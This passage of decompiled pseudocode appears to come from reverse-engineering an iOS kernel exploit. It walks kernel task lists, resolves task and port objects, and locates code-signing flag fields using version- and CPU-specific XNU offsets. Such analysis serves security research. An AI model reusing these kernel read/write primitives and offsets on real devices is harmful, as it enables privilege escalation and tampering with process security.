        if ( a4 )
        {
          char buf[40];
          if ( !(unsigned int)krw_read_thunk((__int64)a1, task + nameOffset, 33, (__int64)&buf) )
            return 0LL;
          if ( !strncmp((const char *)&buf, a4, 0x21u) )
            return taskListHead;
        }
        else
        {
          if ( !(unsigned int)krw_read_thunk((__int64)a1, task + pidOffset, 4, (__int64)&taskPid) )
            return 0;
          if ( taskPid == pid )
            return taskListHead;
        }
      }

      if ( !kread_physmap_decorated(a1, taskListHead + taskListNextOffset, &taskListHead) )
        return 0;
      taskListHead = validate_kaddr_range_reloaded((__int64)a1, taskListHead);
      if ( !taskListHead )
        break;

      if ( dataEnd && taskListHead >= dataBase && taskListHead < dataEnd )
      {
        if ( !kread_physmap_decorated(a1, taskListHead, &taskListHead) )
          return 0;
        taskListHead = validate_kaddr_range_reloaded((__int64)a1, taskListHead);
        if ( !taskListHead )
          break;
      }

      if ( taskListHead == a2 )
        break;
    }
    semaphore_timedwait_ns((__int64)a1, 0x3D090u);
  }
  return 0;
}

//----- (00000000000336AC) ----------------------------------------------------
__int64 __fastcall krw_task_for_name(struct_krwCtx *a1, __int64 a2, const char *a3)
{
  return krw_task_for_pid_or_name_ret_x0(a1, a2, 0, a3);
}

//----- (00000000000336B8) ----------------------------------------------------
__int64 __fastcall read_pte_entry_chain(struct_krwCtx *a1, __int64 a2, uint32_t *a3, uint32_t *a4)
{
  __int64 result; // x0
  int xnuMajorVersion; // w8
  __int64 v11; // x23
  unsigned __int64 v14; // x1
  unsigned __int64 v15; // x1
  unsigned __int64 v16; // [xsp+0h] [xbp-40h] BYREF
  unsigned int v17; // [xsp+Ch] [xbp-34h] BYREF

  result = 0;
  v17 = 0;
  xnuMajorVersion = a1->xnuMajorVersion;
  if ( xnuMajorVersion > 8791 )
  {
    if ( xnuMajorVersion != 8792 && xnuMajorVersion != 10002 && xnuMajorVersion != 8796 )
      return result;
  }
  else if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 )
  {
    if ( xnuMajorVersion != 6153 && xnuMajorVersion != 7195 )
      return result;
    v11 = 20;
    goto LABEL_18;
  }
  v11 = 8;
LABEL_18:
  if ( !kread_physmap_decorated(a1, a2 + 32, &v16) )
    return 0;
  v14 = v16;
  if ( !v16 )
    return 0;
  if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(8792, 40, 107, 1023, 1023) )
  {
    v14 = decode_pte_to_physmap_addr(a1, v16, &v17);
    v16 = v14;
  }
  result = validate_kaddr_range((__int64)a1, v14);
  v16 = result;
  if ( result )
  {
    if ( a1->xnuVersionPacked <= XNU_VERSION_PACKED(8792, 40, 107, 1023, 1023) )
    {
      if ( a1->xnuMajorVersion < 7938 )
        v15 = v11 + a2;
      else
        v15 = result + v11;
      if ( kread_u32((__int64)a1, v15, &v17) )
        goto LABEL_30;
    }
    else if ( v17 )
    {
      v17 /= 0x18u;
LABEL_30:
      *a3 = v17;
      *a4 = 24;
      return v16;
    }
    return 0;
  }
  return result;
}

//----- (000000000003382C) ----------------------------------------------------
__int64 __fastcall setup_task_port_chain(__int64 a1, mach_port_name_t task, uint32_t *a3, uint32_t *a4)
{
  struct_krwCtx *ctx; // x21
  uint64_t cachedTaskKaddr; // x1
  uint64_t selfPortKobject; // x23
  uint64_t taskListEntry; // x23
  uint64_t registeredTaskPort; // x0
  uint64_t registeredTaskPortOffset; // x8
  uint64_t taskKaddr; // x0
  mach_port_t init_port_set; // [xsp+4h] [xbp-3Ch] BYREF
  int pid; // [xsp+8h] [xbp-38h] BYREF

  ctx = (struct_krwCtx *)a1;
  if ( mach_task_self_ == task )
  {
    cachedTaskKaddr = *(uint64_t *)(a1 + 416);
    if ( cachedTaskKaddr )
      return read_pte_entry_chain(ctx, cachedTaskKaddr, a3, a4);
  }

  if ( !*(uint64_t *)(a1 + 6608) )
    return 0;
  selfPortKobject = maybe_ipc_port_get_kobject(ctx, *(uint64_t *)(a1 + 6608));
  if ( !selfPortKobject )
    return 0;

  if ( *(uint32_t *)(a1 + 6424) + 1 <= 1 )
  {
    pid = 0;
    if ( pid_for_task(task, &pid) )
      return 0;
    taskListEntry = krw_task_for_pid_or_name_ret_x0(ctx, selfPortKobject, pid, 0);
    if ( !taskListEntry )
      return 0;
  }
  else
  {
    init_port_set = task;
    if ( mach_ports_register(*(uint32_t *)(a1 + 6424), &init_port_set, 1u) )
      return 0;

    if ( *(uint32_t *)(a1 + 320) == 6153 )
      registeredTaskPortOffset = 776;
    else if ( *(uint32_t *)(a1 + 320) == 7195 )
      registeredTaskPortOffset = 792;
    else
      return 0;

    registeredTaskPort = 0;
    if ( !kread_physmap_decorated(ctx, selfPortKobject + registeredTaskPortOffset, &registeredTaskPort) )
      return 0;
    registeredTaskPort = validate_kaddr_range_reloaded(a1, registeredTaskPort);
    if ( !registeredTaskPort )
      return 0;
    taskListEntry = maybe_ipc_port_get_kobject(ctx, registeredTaskPort);
    if ( !taskListEntry )
      return 0;

    init_port_set = 0;
    if ( mach_ports_register(*(uint32_t *)(a1 + 6424), &init_port_set, 1u) )
      return 0;
  }

  taskKaddr = kreadptr(ctx, taskListEntry);
  if ( !taskKaddr )
    return 0;
  if ( mach_task_self_ == task )
    *(uint64_t *)(a1 + 416) = taskKaddr;
  return read_pte_entry_chain(ctx, taskKaddr, a3, a4);
}

//----- (00000000000339B4) ----------------------------------------------------
__int64 __fastcall sub_339B4(struct_krwCtx *a1, mach_port_name_t task, mach_port_t port)
{
  __int64 result; // x0
  int v5; // [xsp+8h] [xbp-18h] BYREF
  mach_port_t v6; // [xsp+Ch] [xbp-14h] BYREF

  if ( port + 1 < 2 )
    return 0;
  result = setup_task_port_chain((__int64)a1, task, &v6, &v5);
  if ( !result )
    return result;
  if ( port >> 8 >= v6 )
    return 0;
  result += v5 * (port >> 8);
  return result;
}

//----- (0000000000033A1C) ----------------------------------------------------
__int64 __fastcall sub_33A1C(struct_krwCtx *a1, unsigned int a2)
{
  return task_get_ipc_port_ptr(a1, mach_task_self_, a2);
}

//----- (0000000000033A30) ----------------------------------------------------
unsigned __int64 __fastcall task_get_ipc_port(struct_krwCtx *ctx, mach_port_name_t task, mach_port_t port)
{
  unsigned __int64 result; // x0
  __int64 vaddr; // [xsp+8h] [xbp-18h] BYREF

  result = task_get_ipc_port_ptr(ctx, task, port);
  if ( result )
  {
    if ( kread_physmap_decorated(ctx, result, (unsigned __int64 *)&vaddr) )
      return validate_kaddr_range((__int64)ctx, vaddr);
    else
      return 0;
  }
  return result;
}

//----- (0000000000033A88) ----------------------------------------------------
__int64 __fastcall walk_kaddr_chain_to_target(struct_krwCtx *a1, __int64 a2, char a3)
{
  __int64 result; // x0
  unsigned __int64 v6; // x1
  __int64 v7; // [xsp+8h] [xbp-28h] BYREF
  __int64 v8; // [xsp+10h] [xbp-20h] BYREF
  __int64 v9; // [xsp+18h] [xbp-18h] BYREF

  v7 = 0;
  if ( !kread_physmap_decorated(a1, a2 + 16LL * ((a1->xnuVersionPacked - XNU_VERSION_PACKED(8020, 100, 0, 0, 0)) >> 32 > 4), (unsigned __int64 *)&v9) )
    return 0;
  result = validate_kaddr_range((__int64)a1, v9);
  if ( !result )
    return result;
  result = v9;
  if ( a1->xnuMajorVersion < 7195 )
  {
    v7 = v9;
    return result;
  }
  if ( !kread_physmap_decorated(a1, v9 + 32, (unsigned __int64 *)&v8) )
    return 0;
  result = validate_kaddr_range((__int64)a1, v8);
  if ( result )
  {
    result = v8;
    if ( (a3 & 1) == 0 )
    {
      if ( kread64_internal(a1, v8 + 56, &v7) )
      {
        v6 = v7;
        if ( a1->xnuVersionPacked >= XNU_VERSION_PACKED(8020, 140, 30, 0, 0) )
        {
          v6 = port_right_index_to_kaddr((__int64)a1, HIDWORD(v7));
          v7 = v6;
        }
        return validate_kaddr_range((__int64)a1, v6);
      }
      else
      {
        return v7;
      }
    }
  }
  return result;
}

//----- (0000000000033B98) ----------------------------------------------------
__int64 __fastcall traverse_sptm_pgtable_chain(struct_krwCtx *a1, unsigned int a2, unsigned __int64 a3)
{
  unsigned __int64 v5; // x0
  __int64 v6; // x20
  unsigned int v7; // w25
  char v8; // w26
  unsigned __int64 v9; // x22
  int v10; // w23
  __int64 v11; // x24
  unsigned __int64 v12; // x1
  unsigned __int64 v15; // [xsp+8h] [xbp-58h] BYREF
  unsigned __int64 v16; // [xsp+10h] [xbp-50h] BYREF
  __int64 v17; // [xsp+18h] [xbp-48h] BYREF

  v5 = find_kernel_struct_addr(a1, a2);
  v6 = 0;
  if ( v5 )
  {
    v7 = 0;
    v8 = 0;
    v9 = v5 + 56;
    while ( 1 )
    {
      v10 = kread_physmap_decorated(a1, v9, (unsigned __int64 *)&v17);
      if ( v10 )
      {
        do
        {
          v11 = v17;
          if ( !v17 || !validate_kaddr_range((__int64)a1, v17) || !kread_physmap_decorated(a1, v11 - 16, &v16) )
            break;
          if ( v16 <= a3 )
          {
            if ( !kread_physmap_decorated(a1, v11 - 8, &v15) )
              break;
            if ( v15 > a3 )
            {
              v6 = v11 - 32;
              v8 = 1;
              if ( v10 )
                goto LABEL_14;
              return v6;
            }
            v12 = v17 + 8;
          }
          else
          {
            v12 = v17;
          }
        }
        while ( kread_physmap_decorated(a1, v12, (unsigned __int64 *)&v17) );
      }
      if ( !v10 )
        break;
LABEL_14:
      if ( (v8 & 1) == 0 && v7++ < 5 )
        continue;
      return v6;
    }
  }
  return v6;
}

//----- (0000000000033CB0) ----------------------------------------------------
unsigned __int64 __fastcall find_kernel_struct_addr(struct_krwCtx *a1, unsigned int a2)
{
  unsigned int v4; // w0
  unsigned int v5; // w20
  unsigned __int64 result; // x0
  __int64 v7; // [xsp+8h] [xbp-28h] BYREF

  v4 = get_task_context_size((__int64)a1);
  if ( !v4 )
    return 0;
  v5 = v4;
  result = get_task_kobject_addr(a1, a2);
  v7 = result;
  if ( !result )
    return result;
  if ( !kread_physmap_decorated(a1, result + v5, (unsigned __int64 *)&v7) )
    return 0;
  if ( validate_kaddr_range((__int64)a1, v7) )
    return v7;
  return 0;
}

//----- (0000000000033D38) ----------------------------------------------------
unsigned __int64 __fastcall scan_and_validate_kaddr(__int64 krwCtx, unsigned int port, unsigned __int64 a3, unsigned __int64 *a4)
{
  unsigned __int64 result; // x0
  __int64 v9; // x8
  unsigned __int64 v10; // x1
  __int64 v11; // x8
  unsigned __int64 v12; // x8
  __int64 v13; // x0
  unsigned __int64 v14; // x1
  uint64_t v15[2]; // [xsp+0h] [xbp-30h] BYREF
  __int64 vars8; // [xsp+38h] [xbp+8h]

  if ( !krw_ctx_has_flag((struct_krwCtx *)krwCtx, KRW_CTX_FLAG_SELF_TASK_PORT_CLEARED) )
  {
    v13 = traverse_sptm_pgtable_chain((struct_krwCtx *)krwCtx, port, a3);
    if ( v13 && (unsigned int)krw_read_thunk((struct_krwCtx *)krwCtx, v13 + 56, 16, v15) )
    {
      v14 = v15[0];
      if ( *(uint64_t *)(krwCtx + 344) >= XNU_VERSION_PACKED(8020, 140, 30, 0, 0) )
      {
        v14 = port_right_index_to_kaddr(krwCtx, HIDWORD(v15[0]));
        v15[0] = v14;
      }
      if ( validate_kaddr_range(krwCtx, v14) )
      {
        result = v15[0];
        *a4 = v15[1] & 0xFFFFFFFFFFFFF000LL;
        return result;
      }
    }
    return 0;
  }
  result = mach_vm_page_info_query_0(port, a3, a4);
  if ( !result )
    return result;
  if ( (result & 1) != 0 )
  {
    v10 = result - *(uint64_t *)(krwCtx + 312);
    if ( HIDWORD(result) )
    {
      if ( HIDWORD(v10) )
        goto LABEL_20;
    }
    else
    {
      v10 = (unsigned int)(result - *(uint32_t *)(krwCtx + 312));
    }
    v12 = *(uint64_t *)(krwCtx + 304);
    if ( v12 )
      goto LABEL_19;
    return 0;
  }
  v9 = *(uint64_t *)(krwCtx + 6624);
  if ( !v9 )
    return 0;
  v10 = v9 + result;
  if ( !((v9 + result) >> 32) )
  {
    v11 = *(uint64_t *)(krwCtx + 6600);
    if ( v11 )
    {
      v12 = v11 & 0xFFFFFFFF00000000LL;
LABEL_19:
      v10 |= v12;
      goto LABEL_20;
    }
    return 0;
  }
LABEL_20:
  return validate_kaddr_range(krwCtx, v10);
}

//----- (0000000000033E8C) ----------------------------------------------------
unsigned __int64 __fastcall kread_task_struct(struct_krwCtx *a1, unsigned int a2)
{
  unsigned __int64 result; // x0
  __int64 vars8; // [xsp+18h] [xbp+8h]

  result = get_task_kobject_addr(a1, a2);
  if ( result )
  {
    return read_kaddr_at_task_offset(a1, result);
  }
  return result;
}
// 33EBC: variable 'vars8' is possibly undefined

//----- (0000000000033ED8) ----------------------------------------------------
__int64 __fastcall walk_task_kaddr_chain(struct_krwCtx *a1, __int64 a2)
{
  __int64 result; // x0
  __int64 v4; // x8
  int xnuMajorVersion; // w8
  __int64 v6; // x8
  __int64 v7; // [xsp+8h] [xbp-18h] BYREF

  result = read_kaddr_at_task_offset(a1, a2);
  v7 = result;
  if ( result )
  {
    if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
    {
      v4 = 32;
      if ( a1->xnuMajorVersion > 8791 )
        v4 = 24;
      if ( !kread_physmap_decorated(a1, v4 + result, (unsigned __int64 *)&v7) )
        return 0;
      result = validate_kaddr_range((__int64)a1, v7);
      if ( !result )
        return result;
    }
    result = 0;
    xnuMajorVersion = a1->xnuMajorVersion;
    if ( xnuMajorVersion <= 8791 )
    {
      if ( (unsigned int)(xnuMajorVersion - 8019) < 2 )
      {
        v6 = 216;
        if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
          v6 = 32;
      }
      else if ( xnuMajorVersion == 6153 )
      {
        v6 = 256;
      }
      else
      {
        if ( xnuMajorVersion != 7195 )
          return result;
        v6 = 240;
      }
      return v7 + v6;
    }
    if ( xnuMajorVersion == 8792 || xnuMajorVersion == 8796 || xnuMajorVersion == 10002 )
    {
      v6 = 32;
      return v7 + v6;
    }
  }
  return result;
}

//----- (0000000000033FFC) ----------------------------------------------------
unsigned __int64 __fastcall get_task_kobj_and_walk_chain(struct_krwCtx *a1, mach_port_t a2)
{
  unsigned __int64 result; // x0
  __int64 vars8; // [xsp+18h] [xbp+8h]

  result = get_task_kobject_addr(a1, a2);
  if ( result )
  {
    return walk_task_kaddr_chain(a1, result);
  }
  return result;
}
// 3402C: variable 'vars8' is possibly undefined

//----- (0000000000034048) ----------------------------------------------------
unsigned __int64 __fastcall resolve_task_kobj_kaddr(struct_krwCtx *a1, __int64 a2, uint64_t *a3)
{
  unsigned __int64 result; // x0
  unsigned __int64 v6; // x21
  __int64 v7; // [xsp+0h] [xbp-30h] BYREF
  __int64 v8; // [xsp+8h] [xbp-28h] BYREF

  result = walk_task_kaddr_chain(a1, a2);
  if ( result )
  {
    v6 = result;
    if ( kread_physmap_decorated(a1, result, (unsigned __int64 *)&v8) )
    {
      result = validate_kaddr_range((__int64)a1, v8);
      if ( !result )
        return result;
      if ( !a3 )
        return v8;
      if ( kread64_internal(a1, v6, &v7) )
      {
        *a3 = v7;
        return v8;
      }
    }
    return 0;
  }
  return result;
}

//----- (00000000000340D8) ----------------------------------------------------
__int64 __fastcall get_kobj_and_resolve_kaddr(struct_krwCtx *a1, unsigned int a2, uint64_t *a3)
{
  __int64 result; // x0
  __int64 vars8; // [xsp+18h] [xbp+8h]

  result = get_task_kobject_addr(a1, a2);
  if ( result )
  {
    return resolve_task_kobj_kaddr(a1, result, a3);
  }
  return result;
}
// 34110: variable 'vars8' is possibly undefined

//----- (000000000003412C) ----------------------------------------------------
unsigned __int64 __fastcall get_task_kobj_kaddr_with_flags(struct_krwCtx *a1, unsigned int a2)
{
  unsigned __int64 result; // x0
  unsigned __int64 v4; // x20
  int xnuMajorVersion; // w8
  __int64 v7; // x8
  bool v8; // zf
  __int64 v9; // x9
  unsigned __int64 v10; // x1
  unsigned __int64 v11; // [xsp+8h] [xbp-18h] BYREF

  result = get_task_kobject_addr(a1, a2);
  if ( result )
  {
    v4 = result;
    xnuMajorVersion = a1->xnuMajorVersion;
    if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 7195 )
    {
      if ( xnuMajorVersion != 6153 )
        return 0;
      v8 = !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A11_TO_A17_OR_SELF_TASK_PORT_MASK);
      v7 = 960;
      v9 = 984;
      goto LABEL_13;
    }
    if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(7195, 100, 326, 0, 0) )
    {
      v8 = !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A11_TO_A17_OR_SELF_TASK_PORT_MASK);
      v7 = 1048;
      v9 = 1120;
    }
    else
    {
      if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15) )
      {
        v7 = 1264;
LABEL_15:
        v10 = v4 + v7;
        if ( a1->xnuVersionPacked >= XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
        {
          v11 = v4 + v7;
          goto LABEL_19;
        }
        if ( kread_physmap_decorated(a1, v10, &v11) )
        {
          v10 = v11;
LABEL_19:
          if ( validate_kaddr_range((__int64)a1, v10) )
            return v11;
          else
            return 0;
        }
        return 0;
      }
      if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A13_A14_MASK) )
      {
        v7 = 1256;
        goto LABEL_15;
      }
      if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12) )
      {
        v7 = 1248;
        goto LABEL_15;
      }
      v8 = !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A11);
      v7 = 1232;
      v9 = 1296;
    }
LABEL_13:
    if ( v8 )
      v7 = v9;
    goto LABEL_15;
  }
  return result;
}

//----- (0000000000034298) ----------------------------------------------------
unsigned __int64 __fastcall get_task_kobj_dispatch(struct_krwCtx *a1, unsigned int a2)
{
  unsigned __int64 v3; // x0
  unsigned __int64 result; // x0
  int v5; // w8
  __int64 v6; // x8

  if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
  {
    result = get_task_kobj_kaddr_with_flags(a1, a2);
    if ( !result )
      return result;
    v5 = a1->xnuMajorVersion;
    switch ( v5 )
    {
      case 8019:
        v6 = 288;
        break;
      case 7195:
        v6 = 296;
        break;
      case 6153:
        v6 = 336;
        if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(6153, 40, 149, 1023, 1023) )
          v6 = 296;
        break;
      default:
        return 0;
    }
    result += v6;
    return result;
  }
  v3 = get_task_kobj_via_physmap(a1, a2);
  if ( v3 )
    return v3 + 8;
  else
    return 0;
}

//----- (0000000000034358) ----------------------------------------------------
unsigned __int64 __fastcall get_task_kobj_via_physmap(struct_krwCtx *a1, unsigned int a2)
{
  unsigned int v4; // w0
  unsigned int v5; // w21
  unsigned __int64 result; // x0
  __int64 v7; // [xsp+8h] [xbp-28h] BYREF

  v7 = 0;
  v4 = thread_port_field_offset(a1);
  if ( !v4 )
    return 0;
  v5 = v4;
  result = get_task_kobject_addr(a1, a2);
  if ( !result )
    return result;
  if ( !kread_physmap_decorated(a1, result + v5, (unsigned __int64 *)&v7) )
    return 0;
  if ( validate_kaddr_range((__int64)a1, v7) )
    return v7;
  return 0;
}

//----- (00000000000343E0) ----------------------------------------------------
__int64 __fastcall thread_port_field_offset(struct_krwCtx *a1)
{
  __int64 result; // x0
  int xnuMajorVersion; // w8
  unsigned int v4; // w8
  uint64_t xnuVersionPacked; // x9
  unsigned int v6; // w10
  unsigned __int64 v7; // x11

  result = 0;
  xnuMajorVersion = a1->xnuMajorVersion;
  if ( xnuMajorVersion > 8795 )
  {
    if ( xnuMajorVersion != 8796 )
    {
      if ( xnuMajorVersion != 10002 )
        return result;
      if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A17) )
      {
        v4 = 960;
      }
      else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15_A16_MASK) )
      {
        v4 = 880;
      }
      else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A13_A14_MASK) )
      {
        v4 = 872;
      }
      else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12) )
      {
        v4 = 856;
      }
      else
      {
        v4 = 904;
      }
      xnuVersionPacked = a1->xnuVersionPacked;
      v6 = v4 + 16;
      v7 = XNU_VERSION_PACKED(10002, 42, 7, 1023, 1023);
LABEL_37:
      if ( xnuVersionPacked <= v7 )
        return v4;
      else
        return v6;
    }
  }
  else
  {
    if ( (unsigned int)(xnuMajorVersion - 8019) < 2 )
    {
      if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
        return 0;
      if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15) )
      {
        v4 = 928;
      }
      else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A13_A14_MASK) )
      {
        v4 = 920;
      }
      else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12) )
      {
        v4 = 912;
      }
      else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A11) )
      {
        v4 = 896;
      }
      else
      {
        v4 = 960;
      }
      xnuVersionPacked = a1->xnuVersionPacked;
      v6 = v4 - 8;
      v7 = XNU_VERSION_PACKED(8020, 119, 1023, 1023, 1023);
      goto LABEL_37;
    }
    if ( xnuMajorVersion != 8792 )
      return result;
  }
  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15_A16_MASK) )
    return 888;
  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A13_A14_MASK) )
    return 880;
  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12) )
    return 864;
  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A11) )
    return 848;
  return 912;
}

//----- (00000000000345D4) ----------------------------------------------------
__int64 __fastcall get_task_kobj_with_offset(__int64 a1, unsigned int a2)
{
  unsigned __int64 v3; // x0
  __int64 v4; // x8
  int v5; // w9
  __int64 v6; // x8

  v3 = get_task_kobj_kaddr_with_flags((struct_krwCtx *)a1, a2);
  v4 = 0;
  if ( v3 )
  {
    v5 = *(uint32_t *)(a1 + 320);
    if ( v5 > 8018 )
    {
      if ( v5 == 8019 )
      {
        v6 = 256;
        return v6 + v3;
      }
      if ( v5 == 8020 )
      {
        v6 = 240;
        return v6 + v3;
      }
    }
    else
    {
      if ( v5 == 6153 )
      {
        v6 = 304;
        if ( *(uint64_t *)(a1 + 344) > XNU_VERSION_PACKED(6153, 40, 149, 1023, 1023) )
          v6 = 264;
        return v6 + v3;
      }
      if ( v5 == 7195 )
      {
        v6 = 264;
        return v6 + v3;
      }
    }
  }
  return v4;
}

//----- (0000000000034680) ----------------------------------------------------
unsigned __int64 __fastcall get_task_csflags_kaddr(struct_krwCtx *a1, unsigned int a2)
{
  unsigned __int64 v3; // x0
  __int64 v4; // x8
  int v5; // w9
  __int64 v6; // x8

  if ( a1->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
    v3 = kread_task_struct(a1, a2);
  else
    v3 = kread_physmap_two_hops(a1, a2);
  v4 = 0;
  if ( !v3 )
    return v4;
  v5 = a1->xnuMajorVersion;
  if ( v5 > 8791 )
  {
    if ( v5 != 8792 && v5 != 8796 && v5 != 10002 )
      return v4;
LABEL_13:
    v6 = 768;
    if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
      v6 = 28;
    return v6 + v3;
  }
  if ( (unsigned int)(v5 - 8019) < 2 )
    goto LABEL_13;
  if ( v5 == 6153 )
  {
    v6 = 664;
    return v6 + v3;
  }
  if ( v5 == 7195 )
  {
    v6 = 640;
    return v6 + v3;
  }
  return v4;
}

//----- (0000000000034754) ----------------------------------------------------
__int64 __fastcall kread_physmap_two_hops(struct_krwCtx *a1, unsigned int a2)
{
  unsigned int v4; // w0
  unsigned int v5; // w21
  __int64 result; // x0
  __int64 v7; // x20
  __int64 v8; // x0
  __int64 v10; // [xsp+0h] [xbp-30h] BYREF
  __int64 v11; // [xsp+8h] [xbp-28h] BYREF

  v4 = get_ptrauth_data_ptr_offset(a1);
  if ( !v4 )
    return 0;
  v5 = v4;
  result = get_task_kobject_addr(a1, a2);
  if ( !result )
    return result;
  v7 = result;
  result = validate_kaddr_range((__int64)a1, result);
  if ( !result )
    return result;
  if ( !kread_physmap_decorated(a1, v7 + v5, (unsigned __int64 *)&v11) )
    return 0;
  result = validate_kaddr_range((__int64)a1, v11);
  if ( !result )
    return result;
  if ( !kread_physmap_decorated(a1, v11 + 8, (unsigned __int64 *)&v10) )
    return 0;
  v8 = validate_kaddr_range((__int64)a1, v10);
  if ( v7 != v10 || v8 == 0 )
    return 0;
  else
    return v11;
}

//----- (000000000003481C) ----------------------------------------------------
__int64 __fastcall get_task_struct_csblob_offset(__int64 a1)
{
  __int64 result; // x0
  int v3; // w8

  result = 0LL;
  v3 = *(uint32_t *)(a1 + 320);
  if ( v3 <= 8019 )
  {
    if ( v3 == 6153 || v3 == 7195 )
      return 268LL;
    if ( v3 == 8019 )
      return 284LL;
    return result;
  }
  if ( v3 > 8795 )
  {
    if ( v3 != 8796 )
    {
      if ( v3 == 10002 )
        return 200LL;
      return result;
    }
    return 180LL;
  }
  if ( v3 == 8020 )
    return 148LL;
  if ( v3 == 8792 )
    return 180LL;
  return result;
}

//----- (00000000000348BC) ----------------------------------------------------
__int64 __fastcall get_task_struct_small_offset(__int64 a1)
{
  __int64 result; // x0
  int v3; // w8
  bool v4; // zf
  int v5; // w9

  result = 0LL;
  v3 = *(uint32_t *)(a1 + 320);
  if ( v3 <= 8019 )
  {
    if ( v3 == 6153 || v3 == 7195 || v3 == 8019 )
      return 72LL;
  }
  else
  {
    if ( v3 > 8795 )
    {
      v4 = v3 == 10002;
      v5 = 8796;
    }
    else
    {
      v4 = v3 == 8020;
      v5 = 8792;
    }
    if ( v4 || v3 == v5 )
      return 64LL;
  }
  return result;
}

//----- (000000000003492C) ----------------------------------------------------
__int64 __fastcall walk_task_context_to_kobj(struct_krwCtx *a1, __int64 a2)
{
  unsigned int v4; // w0
  __int64 result; // x0
  unsigned int v6; // w0
  __int64 v7; // [xsp+0h] [xbp-20h] BYREF
  __int64 v8; // [xsp+8h] [xbp-18h] BYREF

  v4 = get_task_context_size((__int64)a1);
  if ( !v4 || !kread_physmap_decorated(a1, a2 + v4, (unsigned __int64 *)&v8) )
    return 0;
  result = validate_kaddr_range((__int64)a1, v8);
  if ( !result )
    return result;
  v6 = get_task_struct_small_offset((__int64)a1);
  if ( !v6 || !kread_physmap_decorated(a1, v8 + v6, (unsigned __int64 *)&v7) )
    return 0;
  if ( validate_kaddr_range((__int64)a1, v7) )
    return v7;
  return 0;
}

//----- (00000000000349C8) ----------------------------------------------------
unsigned __int64 __fastcall task_struct_field_kread(struct_krwCtx *a1, unsigned int a2)
{
  unsigned int v4; // w0
  unsigned int v5; // w20
  unsigned __int64 result; // x0
  unsigned __int64 v7; // [xsp+8h] [xbp-28h] BYREF

  v4 = get_task_struct_small_offset((__int64)a1);
  if ( !v4 )
    return 0;
  v5 = v4;
  result = find_kernel_struct_addr(a1, a2);
  v7 = result;
  if ( result )
  {
    if ( kread_physmap_decorated(a1, result + v5, &v7) )
      return v7;
    else
      return 0;
  }
  return result;
}

//----- (0000000000034A40) ----------------------------------------------------
__int64 __fastcall kread_task_port_entry(__int64 a1, __int64 a2)
{
  __int64 result; // x0
  int v4; // w8
  int v5; // w9
  __int64 v6; // x8
  __int64 v7; // x8
  unsigned __int64 v8; // x8
  unsigned __int64 v9; // x8
  __int64 v10; // [xsp+8h] [xbp-38h] BYREF
  __int64 v11; // [xsp+10h] [xbp-30h] BYREF
  __int64 v12; // [xsp+18h] [xbp-28h] BYREF
  __int64 v13; // [xsp+20h] [xbp-20h] BYREF

  v12 = 0;
  v13 = 0;
  result = resolve_task_kobj_kaddr((struct_krwCtx *)a1, a2, 0);
  if ( !result )
    return result;
  result = kread_physmap_decorated((struct_krwCtx *)a1, result + 120, (unsigned __int64 *)&v11);
  if ( !(uint32_t)result )
    return result;
  result = validate_kaddr_range(a1, v11);
  if ( !result )
    return result;
  result = 0;
  v4 = *(uint32_t *)(a1 + 320);
  if ( v4 > 8791 )
  {
    if ( v4 == 8792 || v4 == 10002 )
      goto LABEL_12;
    v5 = 8796;
  }
  else
  {
    if ( (unsigned int)(v4 - 8019) < 2 || v4 == 6153 )
      goto LABEL_12;
    v5 = 7195;
  }
  if ( v4 != v5 )
    return result;
LABEL_12:
  result = kread_physmap_decorated((struct_krwCtx *)a1, v11 + *(unsigned int *)(a1 + 360), (unsigned __int64 *)&v12);
  if ( !(uint32_t)result )
    return result;
  if ( (unsigned __int64)(v12 + 1) >= 2 && !validate_kaddr_range(a1, v12) )
  {
    v8 = *(uint64_t *)(a1 + 344);
    if ( v8 <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
      return 0;
    if ( (*(uint32_t *)a1 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 && (v12 & 0x7FFFFFFFFFLL) == 0 )
    {
      v12 = 0;
    }
    else if ( v8 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
    {
      return 0;
    }
  }
  if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) && (*(uint32_t *)a1 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 )
  {
    result = kread64_internal((struct_krwCtx *)a1, v11 + *(unsigned int *)(a1 + 360), &v10);
    if ( !(uint32_t)result )
      return result;
    v6 = v10;
  }
  else
  {
